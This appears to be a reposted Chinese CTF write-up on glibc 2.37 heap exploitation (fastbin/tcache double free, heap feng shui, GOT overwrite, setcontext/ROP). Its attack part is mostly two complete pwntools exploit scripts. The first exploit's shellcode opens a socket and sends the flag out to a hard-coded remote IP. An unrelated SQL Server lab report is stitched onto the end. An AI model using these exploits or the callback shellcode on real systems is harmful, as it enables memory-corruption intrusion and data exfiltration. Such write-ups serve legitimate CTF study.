fastbin_tcache
Posted brain-Z
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了fastbin_tcache相关的知识,希望对你有一定的参考价值。
Fastbin and Tcache
该文章思路来自于dasctf2023.4的2.37的一个堆,题出的是不错,就是exp有点极限,我后来研究出了另一种风水法
官方的wp:
沙箱情况:
漏洞利用
glibc-2.37,add/delete/show三个操作,存在UAF漏洞,堆块数组下标上限为8,但add次数不限,每次固定申请0x30的堆块,并读入数据,delete最多十次,show两次之后会close(1)/close(2)。
-
堆地址容易泄露,泄露了堆地址就能得到key,可绕过fd/next的指针异或保护
-
先将tcache填满,再释放一个进入fastbin,申请回tcache的第一个堆块,再通过UAF漏洞,将fastbin中的堆块double free进入tcache
-
申请回此时tcache中的第一个堆块,即可对fastbin中的堆块fd进行修改。这里通过巧妙的堆风水构造,不断地申请tcache,并在fastbin中伪造出一条堆块链
-
申请完tcache后,再申请出fastbin中的第一个堆块,此时fastbin中后面的堆块都会反序甩入tcache中,并且方便控制
-
利用上面构造的堆风水,修改某堆块的size大于tcache的上限(相当于把其之后的小堆块大小全部合起来),再释放这个堆块,即可进入unsorted bin,泄露出libc地址
-
在上一步第二次泄露之后,关闭了标准输出和报错,因此没有回显了,需要sleep来控制读入
-
继续利用上面构造的堆风水,劫持tcache中某个fake chunk的next指针,指向libc中strlen的got表(puts会调用),并将其改为magic_gadget(mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;)的地址
-
之后,再调用一次show,通过其中的puts函数,即可走到magic_gadget,不过需要在上一步之前,在堆块中相应的setcontext偏移位置,伪造好各个寄存器,最后通过srop读入rop/shellcode并跳转执行
-
此处的沙盒禁用了open,需要用openat代替,并且read的第一个参数fd必须是0,因此需要先close(0)再open打开flag,使得flag对应的文件描述符为0,即可用read读取flag文件
-
由于在程序中close(1)/close(2),即关闭了输出,没有回显,这里不好用侧信道爆破出flag,可以采用socket通信的方式将flag反弹到自己的服务器上
exp
注意:exp中shellcode的部分,0x73fa4551401f0002表示81.69.250.115的8000端口,具体测试的时候,需要更改一下这里,在自己的服务器上用nc -lvnp 8000接收反弹到的flag
from pwn import *
context(os = \'linux\', arch = \'amd64\', log_level = \'debug\')
#io = process("./pwn")
io = remote("81.69.250.115", 8888)
libc = ELF("./libc.so.6")
def add(idx, content) :
io.sendafter("Choice >> ", b\'1\')
io.sendafter("Index >> ", str(idx))
io.sendafter("Content >> ", content)
def add_2(idx, content) :
io.send(b\'1\')
sleep(0.1)
io.send(str(idx))
sleep(0.1)
io.send(content)
sleep(0.1)
def delete(idx) :
io.sendafter("Choice >> ", b\'2\')
io.sendafter("Index >> ", str(idx))
def show(idx) :
io.sendafter("Choice >> ", b\'3\')
io.sendafter("Index >> ", str(idx))
if __name__ == \'__main__\' :
for i in range(8) :
add(i, b\'\\n\')
for i in range(11) :
add(8, b\'\\n\')
for i in range(7) :
delete(i)
delete(7)
add(8, b\'\\n\')
delete(7)
show(0)
io.recvuntil("Content << ")
key = u64(io.recv(5).ljust(8, b\'\\x00\'))
success(\'key:\\t\' + hex(key))
heap_base = key << 12
success(\'heap_base:\\t\' + hex(heap_base))
add(0, p64(key ^ (heap_base + 0x3f0)))
add(1, b\'\\x00\'*0x20 + p64(key ^ (heap_base + 0x390)))
add(2, p64(key ^ (heap_base + 0x370)))
add(3, b\'\\x00\'*0x20 + p64(key ^ (heap_base + 0x330)))
add(4, b\'\\x00\'*0x20 + p64(key ^ (heap_base + 0x2f0)))
add(5, b\'\\x00\'*0x20 + p64(key ^ (heap_base + 0x2b0)))
add(6, b\'\\x00\'*0x20 + p64(key))
add(7, b\'\\n\')
add(8, b\'\\x00\'*0x18 + p64(0x441))
delete(5)
show(5)
io.recvuntil("Content << ")
libc_base = u64(io.recv(6).ljust(8, b\'\\x00\')) - 0x1f6ce0
success("libc_base:\\t" + hex(libc_base))
magic_gadget = libc_base + 0x8b105 # mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
writeable_addr = libc_base + libc.sym[\'__free_hook\']
libc_strlen_got = libc_base + 0x1f6080
add_2(0, p64(libc_base + libc.sym[\'setcontext\'] + 61) + p64(heap_base + 0x2e0))
payload = p64(0xdeadbeaf) + p64(0) + p64(writeable_addr)
payload += p64(0xdeadbeaf)*2 + p64(0x200)
add_2(1, payload)
payload = p64(writeable_addr + 8) + p64(libc_base + libc.sym[\'read\'])
payload = payload.ljust(0x20, b\'\\x00\') + p64(key ^ (libc_strlen_got - 0x10))
add_2(2, payload)
add_2(3, b\'\\n\')
add_2(4, b\'\\x00\'*0x10 + p64(magic_gadget))
io.send(b\'3\')
sleep(0.1)
io.send(b\'0\')
sleep(0.1)
pop_rdi_ret = libc_base + 0x240e5
pop_rsi_ret = libc_base + 0x2573e
pop_rdx_ret = libc_base + 0x26302
rop = b\'./flag\\x00\\x00\'
rop += p64(pop_rdi_ret) + p64(0) + p64(libc_base + libc.sym[\'close\'])
rop += p64(pop_rdi_ret) + p64(writeable_addr)
rop += p64(pop_rsi_ret) + p64(0)
rop += p64(libc_base + libc.sym[\'open\'])
rop += p64(pop_rdi_ret) + p64(writeable_addr >> 12 << 12)
rop += p64(pop_rsi_ret) + p64(0x1000)
rop += p64(pop_rdx_ret) + p64(7)
rop += p64(libc_base + libc.sym[\'mprotect\'])
rop += p64(writeable_addr + len(rop) + 8)
shellcode = asm(\'\'\'
push 0;
pop rax;
push 0;
pop rdi;
mov rsi, rsp;
add rsi, 0x100;
push rsi;
pop rbx;
push 0x50;
pop rdx;
syscall;
push 2;
pop rdi;
push 1;
pop rsi;
push 0;
pop rdx;
push 41;
pop rax;
syscall;
push 1;
pop rdi;
mov rcx, 0x73fa4551401f0002;
push rcx ;
mov rsi,rsp;
push 0x10;
pop rdx;
push 42;
pop rax;
syscall;
push 1;
pop rax;
push 1;
pop rdi;
push rbx;
pop rsi;
push 0x50;
pop rdx;
syscall;
\'\'\')
sleep(0.1)
io.send(rop + shellcode)
io.interactive()
Another Way
a chunk in fastbin also in tcache
由于这题的free只有10次,且没有edit,add分配的是固定大小0x30,导致使用free得多加考虑,首先fake fastbin chain reverse into tcache这种方法开局就要free7个堆塞满tcache,那此时还剩下3次free,我们可以用2次free做一个double free完成一个操作,a chunk in fastbin also in tcache,大概是图里这样
5操作后我们往X的fd写入一个指针,这个指针可以指向一个我们伪造的堆,也可以是正常的堆。根据这题的思路,我们此后继续申请出tcache堆,每次申请都往申请出的堆内伪造一个fake fastbin,直到最后tcache为空,fastbin链表链接到一个值结尾,我们可以用泄露出的key伪造最后是key^(0)来保证fastbin链表正常,或者是继续构造,构造出最后指针指向fastbin结尾的X堆,构成循环链表。
fake fastbin chain reverse into tcache
对于这种方法,我的理解是
该图下方,本题,若只是将堆7指向key^(0)让链表结束的话,就无法用此方法再次分配恶意堆,只是拿出T堆结束,如果要再次分配恶意堆,需要用free或者保证残留在fastbin的堆仍然能控制。若能形成fastbin循环链表,则可以将该情形转换回a chunk in fastbin also in tcache的类似情形,可以编辑X堆的fd指针,然后不停申请tcache,再次进行fake fastbin的构造,实现连续分配恶意堆。
exp:
#coding=utf-8
from pwn import *
from pickletools import stackslice
import time
from shutil import move
from mcrypt import * # 这个模块是自己用的,作用就是进行base64换表
context(os = \'linux\', log_level = \'debug\', terminal = [\'tmux\', \'splitw\', \'-h\'])
#context.terminal = [\'tmux\',\'splitw\',\'-h\']
#context.arch=\'amd64\'
#p=remote(\'node.yuzhian.com.cn\',30143)
local=1
exec_file="./pwn"
context.binary = exec_file
#context.log_level=\'debug\'
#libc=ELF(\'/lib/x86_64-linux-gnu/libc.so.6\')
elf=ELF(exec_file)
if local :
p = process(exec_file)
if context.arch == "i386" :
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
elif context.arch == "amd64" :
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
else:
p = remote("")
libc=ELF(\'/home/lmy/Desktop/glibc-all-in-one/libs/2.37-0ubuntu2_amd64/libc.so.6\')
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, \'\'))
uu64 = lambda data :u64(data.ljust(8, \'\'))
bp = lambda bkp :gdb.attach(p,\'b *\'+str(bkp))
LOGTOOL=
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-25s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, \'pwn\')
script = \'\'\'
set $text_base =
set $libc_base =
\'\'\'.format(text_base, libc_base)
LOGTOOL[\'address\']=0x4060+text_base
LOGALL()
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
#b *$rebase(0x001CEB)
def fuck(address):
n = globals()
for key, value in n.items():
if value == address:
success(key + " ==> " + hex(address))
return
def add(index,content=\'\\n\'):
sa(\'Choice >> \',str(1))
sa(\'Index >> \',str(index))
sa(\'Content >> \',content)
def free(index):
sa(\'Choice >> \',str(2))
sa(\'Index >> \',str(index))
def show(index):
sa(\'Choice >> \',str(3))
sa(\'Index >> \',str(index))
def add1(index,content=\'\\n\'):
sleep(0.3)
s(str(1))
s(str(index))
s(content)
def free1(index):
sleep(0.3)
s(str(2))
s(str(index))
def show1(index):
sleep(0.3)
s(str(3))
s(str(index))
def pwn():
add(8)
add(7)
for i in range(7):
add(i)
for i in range(7):
add(i)
for i in range(7):
add(i)
for i in range(7):
free(i)
show(0)
ru(\'Content << \')
key=u64(p.recvuntil(\'\\n\',drop=True).ljust(8,\'\\x00\'))
heap_base=key<<12
print hex(key)
print hex(heap_base)
free(8)
add(0,p64(key^(heap_base+0x7d0)))#set fd to double free chunk
free(8)#double free chunk in fastbin also in tcache bin
add(0,p64(key^(heap_base+0x810))+p64(0)+p64(0)+p64(0x41)+p64(key^(heap_base+0x2d0-0x20))+p64(0))#change double free chunk\'s fd to the chunk whose fd is double free chunk
#for i in range(1):
add(1,p64(key^(heap_base+0x790)))
add(2,p64(key^(heap_base+0x710)))#+0x750
add(3,p64(key^(heap_base+0x790)))
add(4,p64(key^(heap_base+0x6d0)))
add(5,p64(key^(heap_base+0x690))+p64(0)+p64(0x420)+p64(0x21))
add(6,p64(key^(heap_base+0x2d0-0x20)))
#elf_base=heap_base-0x3000
add(0,p64(key^(heap_base+0x1110)))#+0x2d0
debug()
add(0,p64(key^(heap_base+0x6d0))+p64(0)*1+p64(0x40)+p64(0x421)) #spec
free(7)
show(7)
ru(\'Content << \')
leak1=u64(p.recvuntil(\'\\n\',drop=True).ljust(8,\'\\x00\'))
libc_base=leak1-0x1f6ce0
print hex(leak1)
LOGTOOL[\'libcbase\']=libc_base
strlen_addr=libc_base+0x1f6080
setcontext=libc_base+libc.sym[\'setcontext\']+61
LOGTOOL[\'libc_strlen\']=strlen_addr
magic1=libc_base+0x0157c00
read_addr=libc_base+libc.sym[\'read\']
mmap_addr=libc_base+libc.sym[\'mmap\']
mprotect_addr=libc_base+libc.sym[\'mprotect\']
pop_rdi=0x0240e5+libc_base
pop_rsi=0x002573e+libc_base
pop_rdx=0x00026302+libc_base
jmp_rsi=0x000519ad+libc_base
jmp_rdi=0x0006da30+libc_base
#0x0000000000157c00 : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x10]
add1(1,p64(key^(heap_base+0x6d0)))
add1(2,p64(key^(heap_base+0x710)))#+0x710
add1(3,p64(key^(heap_base+0x750)))
add1(4,p64(key^(heap_base+0x7d0)))
add1(5,p64(key^(heap_base+0x810)))
add1(6,p64(key^(strlen_addr-0x20)))
add1(1)#trigger
segment=heap_base+0x1000-0x78
add1(0,p64(0)*2+p64(magic1))
add1(1,p64(0)*5+p64(0xdeadbeef))
add1(2,p64(0)*5+p64(0xdeadbeef))
add1(3,p64(0)*5)#0x790
add1(4,p64(0)*1+p64(heap_base+0x6e0-0x10)+p64(segment)+p64(read_addr)+p64(segment)+p64(setcontext))#0x750
add1(5,p64(0)*4+p64(segment)+p64(0))#0x710
add1(6,p64(0)*2+p64(setcontext))#0x6d0
debug()
pause()
show1(6)
pl=flat([pop_rdi,0,pop_rsi,segment+0x38,pop_rdx,0x1000,read_addr,0])+\'a\'
sleep(0.3)
s(pl)
pl1=flat([pop_rdi,heap_base+0x1000,pop_rsi,0x1000,pop_rdx,7,mprotect_addr,jmp_rdi])
shellcode=shellcraft.amd64.close(0)
shellcode+=shellcraft.amd64.openat(0,"/flag",0)
shellcode+=shellcraft.amd64.read(0, "rsp", 0x100)
shellcode+=shellcraft.amd64.write(1, "rsp", 0x100)
pl1+=asm(shellcode,arch=\'amd64\',os=\'linux\')
sleep(0.3)
s(pl1)
pwn()
it()
注意和思考
大概2.34以后申请fastbin时会对fastbin链表里的堆进行检测,检查是否对齐0x10,只要有指针不对齐,或者最后指针指向0区域(gdb的bins中解析为key)就会寄,所以最好保证最后指向为key^(0)或者别的指针
改完堆size后,free前要算好或者布置好后一个fake堆对应的pre_size和pre_inuse位
我找的magic_gadget为#0x0000000000157c00 : mov rdx, rbp ; mov rdi, r13 ; call qword ptr [rax + 0x10]
我观察到puts进入libc_strlen后,rbp=rdi=rax,那这样构造setcontext+61能找的gadget就多多了,我这里rax+10就放setcontext+61,同时这堆给的size抠门,需要3个堆连续构造才能满足,由于setcontext的rsi位置为pre_size,我无法控制,我让push rcx变成下一个setcontext+61,让rdx为我们构造堆-0x10,这样能同时在一个大块上继续布置,再布置下一个setcontext的push rcx为read,此时下一个setcontext的rsi可控,但rdx落在chunk的size位,不过也够用,用read再开了个read栈迁移rop然后mprotect打shellcode
此处的沙盒禁用了open,需要用openat代替,并且read的第一个参数fd必须是0,因此需要先close(0)再open打开flag,使得flag对应的文件描述符为0,即可用read读取flag文件
Close(1)后如何获得flag:
Socket(2,1,0)
Connect(1,ip:端口的地址,42)
Write(1,flag地址,0x50)
数据库原理与应用实验5--[数据库的组合和统计查询]
一、实验目的
使学生进一步掌握SQL Server查询的使用方法,加深对T-SQL语言查询语句的理解。熟练掌握数据查询中的分组、统计、计算和组合的操作方法。
二、实验过程及分析
1.实验内容
1、分组查询实验。该实验包括分组条件表达、选择组条件的表达方法。
2、使用函数查询的实验。该实验包括统计函数和分组统计函数的使用方法。
3、组合查询实验。
4、计算和分组计算查询的实验。
2.实验过程
在图书借阅数据库中实现下面的查询操作。
图书(书号,类别,出版社,作者,书名,定价,库存量);
读者(读者编号,姓名,单位,性别,电话);
借阅(书号,读者编号,借书日期,还书日期);
1)查找每个出版社所出版图书的最高价。
2)查找借阅图书超过3本的读者编号和借书册数,要求只统计2019-12-10以后的借书情况。
3)查找读者的借阅情况,即读者编号、借书册数,并进行借书情况汇总。
4)求机械工业出版社出版的各类图书的平均定价,用GROUP BY表示。
5)按照年份统计每个读者的借书册数,并进行汇总。
6)查询借阅了书号为“j0001”或“j0002”的读者编号。
7)查询既借阅了书号为“j0001”,又借阅了书号为“j0002”的读者编号。
8)查询借阅了书号为“j0001”,但没有借阅书号为“j0002”的读者编号。
9)查找这样的图书类别:要求类别中最高的图书定价不低于按类别分组的图书平均定价的2倍。
3.实验分析
可以顺利完成实验;在实验中对于count函数运用不是很熟练。
三、实验总结
可以在SQL Server Management Studio新建查询的输入区中输入T-SQL查询语句;可设置 Query Analyzer的结果区为Standard Execute(标准执行)或Execute to Grid(网格执行)方式;发布执行命令,并在结果区中查看查询结果;如果结果不正确,要进行修改,直到正确为止。
以上是关于fastbin_tcache的主要内容,如果未能解决你的问题,请参考以下文章